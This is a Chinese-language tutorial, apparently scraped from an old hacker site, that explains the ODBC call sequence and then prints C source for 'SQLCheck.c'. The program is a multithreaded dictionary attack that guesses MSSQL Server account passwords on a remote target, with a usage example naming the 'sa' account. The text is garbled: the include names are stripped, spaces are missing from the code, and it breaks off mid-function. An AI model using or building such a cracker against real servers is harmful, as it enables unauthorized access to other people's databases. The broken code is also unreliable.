ODBC是开放数据互连(OpenDatabaseConnectivity)的简称,它是一个用于远程访问数据库(主要是关系型数据库)的统一界面标准,
远程检测MSSQLServer账号安全性
。 ODBC下现实运用中是一个数据库的访问库,它提供了一组ODBCAPI函数可以提供给编程者使用。对于程序员来说,ODBCAPI函数集实际上等于一个动态连接库(DLL)集,可以在应用程序中直接使用它们。一个应用程序直接调用ODBCAPI函数来进行数据库的应用工作,工作过程一般比较复杂。其中一种办法大概是以下几步:
启动ODBC数据库应用程序。
与服务器建立IPCSESSION。
创建数据库应用的环境句柄。
创建连接句柄。
连接数据源。
创建语句句柄。
通过上一步创建的语句句柄来执行SQL操作。
释放语句句柄。
要进行多此SQL操作的话,就循环步骤6-8。
断开与数据库的连接。
释放连接句柄。
释放环境句柄。
断开IPCSESSION。
程序结束。
下面以一个实例来说明远程检测MSSQLServer账号密码的全过程。此程序只作技术交流之用,如用于不法用途,作者不负任何责任!
/**********************************************************
ModuleName:SQLCheck.c
Date:2000.12.14
WEB:http://www.patching.net
Notices:Copyright(c)eyas
**********************************************************/
#include
#include
#include
#include
#include
#include
#include
#include
////////////////////////////////////////////////////////////////////////
file://定义全局变量
chardict[20000][40],//密码字典
UserName[40],//用户名
target[40],//目标服务器
passwd[40];//已经探测出来的正确密码
inttotal=0;//字典里面单词数量
BOOLCracked=FALSE;//探测密码成功时此值为TRUE
HANDLEhSemaphore,//信标内核对象
hEvent;//事件内核对象
longMaxThreads,//最大线程数量
ActiveThreads;//活动线程数量
////////////////////////////////////////////////////////////////////////
voidusage(char*pragname)
{printf("\nPowerbyeyas"
"\n
"\n2000/12/14"
"\n\nUsage:%s"
"\nExample:%s192.168.0.1sac:\\pwd.dic50\n",pragname,pragname);
return;}
////////////////////////////////////////////////////////////////////////
intReadDic(char*dic)
{FILE*fp;
chartmp[40];
file://打开字典文件
if((fp=fopen(dic,"r"))==NULL)
{printf("\nCan